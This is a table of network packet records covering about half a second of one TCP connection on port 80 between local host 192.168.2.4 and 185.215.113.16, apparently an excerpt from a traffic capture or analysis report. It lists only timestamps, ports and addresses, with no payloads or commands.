Oct 31, 2024 03:03:31.727144003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727185965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727195978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727230072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727289915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727298975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727304935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727320910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727330923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727344990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727375031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727513075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727523088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727533102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727566004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727575064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727811098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727822065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727832079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727840900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727852106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.727868080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.727897882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.768954992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.768985033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.768996000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769032001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769042015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769052029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769078970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.769113064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769124031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769131899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.769133091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.769159079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.769191027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795089960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795105934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795115948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795128107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795137882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795149088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795169115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795181036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795188904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795192003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795205116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795216084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795222044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795244932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795265913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795285940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795342922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795356035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795398951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795411110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795422077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795449018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795464039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795473099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795545101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795557022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795571089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795583010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795595884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795648098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795686960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795697927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795707941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795721054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795737028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795766115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795818090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795871973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795883894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795893908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.795919895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.795947075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.836692095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.836708069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.836721897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.836776018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.838673115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838712931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838723898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838733912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838794947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.838870049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838927031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.838942051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838953018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838963985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.838989973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845165014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845176935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845186949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845206022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845216036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845227957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845240116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845244884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845254898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845309019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845568895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845613956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845623016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845623970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845659018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845663071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845674992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845684052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845701933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845710039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845715046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845729113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845740080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845746040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845767975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845849037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845859051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845869064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845904112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845930099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845932961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.845942974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845953941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845964909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.845982075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846026897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846065998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846105099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846116066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846162081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846162081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846175909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846200943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846225023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846236944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846246004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846278906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846304893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846370935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846381903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846391916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846401930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846421003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846455097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.846502066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846513987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846523046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.846550941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.887821913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.887837887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.887849092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.887909889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.887963057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.887965918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.887985945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.887995958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.888005972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.888020992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.888031006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.888041973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.888072968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.888089895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.913857937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.913892984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.913904905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.913918018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.913929939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.913940907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.913991928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914001942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914002895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914016008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914045095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914071083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914140940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914190054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914200068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914231062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914242983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914246082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914293051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914308071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914319038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914329052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914381981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914395094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914438963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914491892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914504051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914513111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914547920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914582014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914592981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914602995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914628983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914659023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914721966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914736986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914748907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914760113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914771080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914777994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914782047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914794922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914839029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914840937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914851904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914860964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914884090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.914895058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.914932013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.955776930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.955792904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.955805063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.955871105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.957737923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957748890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957758904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957828045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957839012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957848072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957906008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957916021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.957926035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.957964897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964369059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964385033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964396000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964405060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964416027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964426994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964436054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964438915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964451075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964459896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964464903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964474916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964489937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964498997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964523077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964550018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964554071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964597940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964616060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964627028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964639902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964649916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964656115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964663029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964673996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964685917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964720964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964726925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964756012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964765072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964792013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964797974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964802980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964823961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964837074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964869022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.964909077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964941025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.964977026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965025902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965039968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965050936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965059996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965101004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965111971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965116978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965241909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965251923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965260983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965270996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965281010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965291023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965317011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965325117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965336084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965348005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965362072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965379953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965440989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965451002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965460062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.965487957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.965514898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.006784916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006799936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006819010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006829023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006843090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.006845951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006858110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006876945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006876945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.006887913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006897926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006902933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.006908894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.006941080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.006966114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.032865047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.032886982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.032897949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.032946110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.032957077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.032968044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.032975912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033016920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033027887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033030033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033037901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033060074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033068895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033078909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033087969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033104897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033108950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033114910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033134937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033157110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033166885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033190966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033200979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033210039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033238888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033267975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033296108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033382893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033392906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033406019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033416986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.033420086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033459902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.033485889 CET	80	49744	185.215.113.16	192.168.2.4
